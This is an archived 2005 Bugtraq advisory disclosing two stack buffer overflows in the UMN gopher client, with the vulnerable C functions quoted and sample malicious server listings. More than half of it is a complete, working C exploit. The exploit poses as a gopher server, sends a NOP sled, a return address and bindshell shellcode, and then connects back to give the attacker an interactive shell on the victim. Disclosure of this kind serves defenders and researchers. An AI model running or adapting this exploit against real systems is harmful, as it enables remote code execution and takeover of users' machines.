| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <Pine.LNX.4.58.0508312021470.18302@localhost>
Date: Wed, 31 Aug 2005 20:24:29 -0400 (EDT)
From: v9 <v9@...ehalo.us>
To: bugtraq@...urityfocus.com
Subject: UMN gopher[v3.0.9+] multiple(2) client buffer overflows.
1. BACKGROUND
The Internet Gopher Client is based on the UMN Gopher/Gopherd 2.3.1 code. Gopher
is an Internet technology that predates the Web. It presents information as a virtual
network-wide filesystem. Modern browsers such as Konqueror can display gopherspace as
if it contained files on your local machine (trees, drag and drop, etc.), but the
difference is that each file or folder in that tree may be on a different machine.
2. DESCRIPTION
i figured i would audit the gopher program family one last time(part 3 of 3, a
trilogy!), this time the client instead of the server.
gopher(v3.0.9 and below) contains a two remotely exploitable buffer overflows. the
first is in the processing of "+VIEWS:" information, located in SRC/object/VIews.c in
the VIfromLine() function.
--------------------------------------------------------------------------------------
boolean
VIfromLine(VIewobj *vi, char *line)
{
char tmpstr[256], *cp;
int i;
/** Okay, read until the next space, put the result in tmpstr **/
for (cp = line,i=0; (*cp != ' '&&*cp!='\0'&&*cp!=':'); cp++,i++)
tmpstr[i] = *cp;
tmpstr[i]='\0';
line = cp+1;
VIsetType(vi, tmpstr);
if (*line == '\0')
return(FALSE);
/** Parse language **/
if (*line != ':') {
for (cp = line,i=0; (*cp != ' '&&*cp!='\0'&& *cp!=':'); cp++,i++)
tmpstr[i] = *cp;
tmpstr[i]='\0';
line = cp+1;
VIsetLang(vi, tmpstr);
}
if (*line == '\0')
return(FALSE);
/** Okay, parse off the size (if present) **/
cp = strchr(line,'<');
if (cp != NULL) {
for (cp++,i=0; (*cp!='\0'&& *cp!='>'); cp++,i++)
tmpstr[i] = *cp;
tmpstr[i]='\0';
line = cp+1;
VIsetSize(vi, tmpstr);
}
if (*line != '\0')
VIsetComments(vi, line);
return(TRUE);
}
--------------------------------------------------------------------------------------
this can be exploited immediately upon the client's connection to an untrusted server.
the overflow itself occurs when an unbounded loop writes past the end of the tmpstr[256]
buffer, making this a stack overflow. however, do to a null-byte that gets appended during
the overflow you must replace the "VIewobj *vi" value with what it was meant to be--this
makes exploitation more involved and specific to each system.
an example listing that will cause the overflow is as follows. (<...> = replace with real
values)
--------------------------------------------------------------------------------------
+-1<N>
+INFO: 0filler<TAB>filler<TAB>filler<TAB>filler<N>
+VIEWS:<TAB><N><SPACE>
<SPACE><256+ bytes of data/overflow><N>
--------------------------------------------------------------------------------------
the second buffer overflow is in the processing of arguments when executing third
party programs. this can be abused best by forging a web link which launches a third
party web browser. other methods also work, they are just more obvious. the vulnerable
code is located in SRC/object/fileio.c in the FIOgetargv() function.
--------------------------------------------------------------------------------------
static char **
FIOgetargv(char *cmd)
{
int inquote = 0;
int insquote = 0;
int i;
static char *argv[128]; /* Sufficient for now.. */
int argc = 0;
char buf[256];
char *cp = buf;
if (cmd == NULL)
return(NULL);
for (i=0; cmd[i] != '\0'; i++) {
switch (cmd[i]) {
case ' ': case '\t':
/* Separators */
if (insquote || inquote) {
*cp = cmd[i]; cp++;
break;
} else {
*cp = '\0';
argv[argc++] = strdup(buf);
cp = buf;
/** Get rid of any other whitespace **/
while (cmd[i+1] == ' ' || cmd[i+1] == '\t')
i++;
}
break;
case '"':
if (!insquote)
inquote = 1-inquote;
break;
case '\'':
if (!inquote)
insquote = 1-insquote;
break;
case '\\':
/* Quote next character if not in quotes */
if (insquote || inquote) {
*cp = cmd[i]; cp++;
} else {
*cp = cmd[i+1]; cp++; i++;
}
break;
default:
*cp = cmd[i]; cp++;
break;
}
}
if (buf != cp) {
*cp = '\0';
argv[argc++] = strdup(buf);
}
argv[argc] = NULL;
return(argv);
}
--------------------------------------------------------------------------------------
this can be exploited via a malicious string/link placed on an untrusted server. the
overflow itself occurs when an unbounded loop writes past the end of the buf[256], or
lack of element checking with the *argv[128] array--depending on the method used. the
vulnerability is a standard stack overflow, however many (non-alnum) characters get
changed/truncated during this process making exploitation more involved.
an example listing that will cause the overflow is as follows. (<...> = replace with real
values)
--------------------------------------------------------------------------------------
+-1<N>
+INFO: hWeblink<TAB>filler<TAB><256+ bytes of data/overflow><TAB>filler<TAB>filler<N>
+VIEWS:<N>
--------------------------------------------------------------------------------------
(it should be noted that the "legacy" University of Minnesota versions(v2.x.x) also
have the same code present)
3. ANALYSIS
successful exploitation of these vulnerabilities will result in the ability of untrusted
gopher servers to execute arbitrary code as the user running the gopher client.
4. EXPLOIT (http://fakehalo.us/xgopher-client.c, for the first overflow mentioned)
/*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]*
* *
* by: vade79/v9 v9@...ehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xgopher-client.c -o xgopher-client *
* *
* syntax: *
* ./xgopher-client <port> [bindshell port] *
* *
* The Internet Gopher Client is based on the UMN *
* Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology *
* that predates the Web. It presents information as a virtual *
* network-wide filesystem. Modern browsers such as Konqueror *
* can display gopherspace as if it contained files on your *
* local machine (trees, drag and drop, etc.), but the *
* difference is that each file or folder in that tree may be *
* on a different machine. *
* *
* this client contains a remotely exploitable buffer overflow *
* in the processing of "+VIEWS:" information, located in *
* SRC/object/VIews.c in the VIfromLine() function. *
* *
* this is a stack overflow that can be exploited immediately *
* upon the client's connection to an untrusted gopher server. *
* while this is a stack overflow, exploitation of this *
* overflow is not completely standard, and special values *
* will be needed for it to work. (see the first three DEFINEs *
* below) *
* *
* i made this simply to be sure it was possible to exploit, *
* tested successfully on mandrake/9.2 with gopher/3.0.9 *
* compiled from source. *
***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */
/* this needs to be replaced as a null-byte will overwrite it. this */
/* can be found in gdb using a trial-run of the exploit. */
/* (gdb) break VIfromLine */
/* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
/* (gdb) run server-running-this-exploit.com 70 */
/* ... */
/* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */
/* -----------------------------^^^^^^^^^ */
/* ... */
#define REPLACE_VI_ADDR 0x08074f08
/* where the shellcode is located. you can use a trial-run to get */
/* this as well, run "objdump -s <core> | grep 90909090" on the */
/* core file, and choose something in the middle of all the */
/* 0xbfff???? addresses dumped. */
#define RET_ADDR 0xbfffe910
/* guess time; try between 0-12, not likely to be anything */
/* higher than that. */
#define PLACEMENT_OFFSET 7
/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
#define BUFSIZE 500
#define DFL_BINDSHELL_PORT 7979
#define TIMEOUT 10
static char x86_exec[]= /* bindshell, from netric. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
/* prototypes. */
unsigned char *getcode(void);
char *gopherd_bind(unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv){
unsigned short port=0,sport=DFL_BINDSHELL_PORT;
char *hostptr;
printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp"
"loit.\n[*] by: vade79/v9 v9@...ehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]);
exit(1);
}
port=atoi(argv[1]);
if(argc>2)sport=atoi(argv[2]);
/* set the port to bind to in the shellcode. */
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);
/* verbose values display. */
printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR);
printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR);
printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n",
PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
printf("[*] server port\t\t\t\t: %u\n",port);
printf("[*] bindshell port\t\t\t: %u\n\n",sport);
/* wait for a connection and send overflow. */
hostptr=gopherd_bind(port);
/* be safe, and give it time to run. */
sleep(3);
/* see if a shell spawned. */
getshell(hostptr,sport);
exit(0);
}
/* this is what fills the buffer that will be overflown. (tmpstr[256]) */
unsigned char *getcode(void){
unsigned char *buf;
if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
/* make everything nops, and overwrite where needed. */
memset(buf,0x90,BUFSIZE);
/* this gives more NOP/guessing room. if it hits before the addresses, */
/* it will jump over them to get to the shellcode. (jumps 8 bytes) */
buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */
/* return address. */
*(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;
/* the replacement value will be right after the new return address. */
/* (this is needed because a null-byte will corrupt it, and fault */
/* where not desired) */
*(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;
/* add shellcode to the end of the buffer. */
memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
return(buf);
}
char *gopherd_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
char pseudobuf[2];
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,1);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] gopher server connection established.\n");
/* not really needed, but i feel better with it waiting for it. */
printf("[*] waiting for <any> request/data...\n");
read(sock,pseudobuf,1);
printf("[*] received request/data, sending overflow.\n");
/* setup the precursor to cause the overflow. */
write(sock,"+-1\n",4);
write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36);
write(sock,"+VIEWS:\t\n ",10);
/* the overflow. */
write(sock,getcode(),BUFSIZE);
write(sock,"\n",1);
sleep(1);
close(sock);
printf("[*] gopher server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)
exit(1);
return;
}
Powered by blists - more mailing lists